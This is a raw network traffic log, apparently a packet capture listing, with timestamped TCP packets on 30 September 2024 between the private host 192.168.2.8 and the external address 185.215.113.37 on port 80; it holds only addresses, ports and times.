Sep 30, 2024 12:33:10.691098928 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691143036 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.691178083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.691229105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691262007 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691272974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.691279888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691297054 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.691315889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.691672087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691687107 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691715956 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691719055 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.691741943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.691744089 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.691754103 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.691780090 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.692256927 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.692289114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.692301035 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.692306995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.692327976 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.692336082 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815479040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815547943 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815561056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815570116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815589905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815598011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815613031 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815680027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815694094 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815711021 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815718889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815731049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815747023 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815748930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815768003 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815777063 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.815787077 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.815819025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.816416025 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.816431999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.816458941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.816468954 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.816482067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.816504955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.816886902 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.816906929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.816931009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.816939116 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.816965103 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.816970110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.816973925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.816987991 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.817008018 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.817019939 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.817020893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.817059994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.817821980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.817842960 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.817871094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.817878008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.817881107 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.817897081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.817917109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.817923069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.817924023 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.817936897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.817961931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.817971945 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.939598083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939630032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939660072 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939672947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939697027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939723969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939726114 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.939738989 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.939742088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939768076 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939786911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.939791918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.939806938 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.939834118 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940201998 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940249920 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940253019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940269947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940294027 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940296888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940313101 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940339088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940613031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940632105 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940655947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940673113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940674067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940690041 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940720081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940738916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940762997 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940762997 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940782070 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940784931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940798998 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940805912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.940824032 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.940834045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941432953 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941462994 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941481113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941484928 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941494942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941513062 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941518068 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941531897 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941555977 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941557884 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941577911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941586971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941597939 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941606045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941629887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.941631079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941648006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.941665888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942414999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942465067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942488909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942507982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942532063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942548990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942549944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942562103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942586899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942594051 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942605972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942624092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942631960 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942631960 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942651033 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942657948 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.942663908 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.942692995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.943377018 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.943423033 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.943432093 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.943444014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.943459034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.943474054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.943481922 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.943490982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.943511009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.943514109 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.943528891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.943531036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.943557024 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.943558931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:10.943576097 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:10.943600893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064054966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064071894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064105034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064122915 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064146042 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064162970 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064187050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064189911 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064208984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064225912 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064234972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064239025 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064253092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064266920 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064275980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064279079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064296961 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064302921 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064315081 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064328909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064328909 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064341068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064357996 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064363003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064378977 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064402103 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064730883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064775944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064785957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064794064 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064815998 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064827919 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064830065 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064846992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.064871073 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.064883947 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065063953 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065108061 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065121889 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065126896 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065157890 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065170050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065175056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065184116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065208912 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065211058 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065218925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065254927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065483093 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065498114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065524101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065535069 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065547943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065567970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065584898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065599918 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065624952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065634012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065646887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065653086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065668106 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065680981 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065706968 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065725088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065748930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065756083 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065767050 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065773010 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065789938 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065792084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065799952 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065809965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065829992 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065838099 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.065848112 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.065876007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066569090 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066584110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066612005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066622019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066634893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066657066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066663980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066680908 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066705942 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066709995 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066720009 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066728115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066749096 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066761971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066788912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066806078 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066828966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066833973 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066849947 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066850901 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066868067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066873074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066890001 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066890955 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066911936 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066915035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.066929102 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.066952944 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067328930 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067348003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067372084 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067380905 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067400932 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067409039 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067430973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067447901 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067471027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067476988 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067492008 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067492962 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067511082 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067531109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067550898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067570925 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067595005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067600965 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067610025 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067620993 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067640066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067640066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067657948 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067661047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067682028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067682981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.067698002 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.067723036 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068232059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068262100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068280935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068342924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068362951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068383932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068396091 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068404913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068448067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068470001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068484068 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068511009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068514109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068531036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068538904 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068552017 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068556070 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068569899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068571091 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068591118 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068594933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.068603992 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.068633080 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.069242001 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.069271088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.069288969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.069295883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.069313049 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.069313049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.069330931 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.069355011 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.150124073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.150137901 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.150171041 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.150192022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.150212049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.150232077 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:11.150235891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.150250912 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:11.150290966 CEST	49705	80	192.168.2.8	185.215.113.37
